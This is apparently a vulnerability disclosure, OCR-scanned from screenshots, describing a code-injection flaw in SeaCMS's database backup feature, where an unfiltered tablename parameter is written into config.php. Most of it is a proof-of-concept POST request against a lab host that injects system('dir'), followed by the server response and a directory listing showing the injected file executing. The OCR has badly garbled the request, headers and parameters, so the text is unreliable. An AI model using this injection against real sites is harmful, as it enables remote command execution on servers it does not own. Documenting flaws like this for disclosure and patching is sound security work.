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In the Ebak_DoEbak() function, the passed parameters are written into a config.php file, and the
variable value $b_table written comes from the tablename parameter in post. It is directly
written into config.php without any filtering or validation.
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Construct a request to write malicious code into a PHP file. Once accessed, it will be parsed.

Verification
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Sends a request to create a config.php file under the specified directory (test) and writes
malicious code to config.php.
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POST /8mrumn/ebak/phomebak. php HTTP/1. 1
Host: 192.168. 255. 156:8888
Content-Length: 235
Cache=Control: max-age=0
Upgrade—Insecure—-Requests: 1
Origin: http://192. 168. 255. 156:8888
Content-Type: application/x-www—form—-ur lencoded
User—Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:129.0)

Gecko/20100101 Firefox/129.0
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, im
age/webp, image/apng, */*;9=0. 8, app | ication/signed-exchange;v=b3;q=0
7

Referer:

http://192. 168. 255. 156:8888/8mrumn/ebak/ChangeTable. php?mydbname=se
acms&keyboard=sea&act=b
Accept-Encoding: gzip, deflate,
Accept-Language: zh—CN, zh;g=0.9

br

phome=DoEbak&mydbname=seacms&baktype=0&f i lesize=1024&bak| ine=1000&
autoauf=1&bakstru=1&dbchar=utfB8&bakdatatype=1&mypath=test&insertf=
repIace&waitbaktIme:O&readme:&tabIename%SB%SD:system('d(r')&Squit:
HES%HBCHBOBESHATHBBRES%A4%B 7THE4%BB%BD

e R

= Ul

=i Raw Hex mEEgE b=

HTTP/1.1 200 OK

Date: Sun, 29 Dec 2024 09:08:40 GMT

Server: Apache/2.4.39 (Winb4) OpenSSL/1.1.1b mod_fcgid/2.3.%a
mod_log_rotate/1.02

X-Powered-By: PHP/7.3.4

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache=Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Keep—Alive: timeout=5, max=100

Connection: Keep-Alive

Content—Type: text/html; charset=utf-8
Content-Length: 165

sl gty s, ERFAREH. .. L L
self. location. href=
'phomebak. php?phome=BakExe&t=0&s=0&p=0&mypath=testéwaitbaktime
=0';

{/seript>

<{script>

The generated congfig.php file is accessed and the system commands are successfully
e

@

xecuted.

C  AFE2 192168.255.156: umn,
20000701000 00000090 00009000000

.2024/12/29 17:.07

CEDD-4DDB F\cmshseacms\SeaCMS\Upload\8mrumn\ebak\bdata\test ¢ €L 202/1 2/29 17:07

. 2024/12/29 17:08 289 config.php 2024/12/29 17:08 32 readme.txt 2 ¢ § €)@ 321 99 2 9L 32394629120 6 9 0009
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http://192.168.255.156:8888/8mrumn/ebak/bdata/test/config.php
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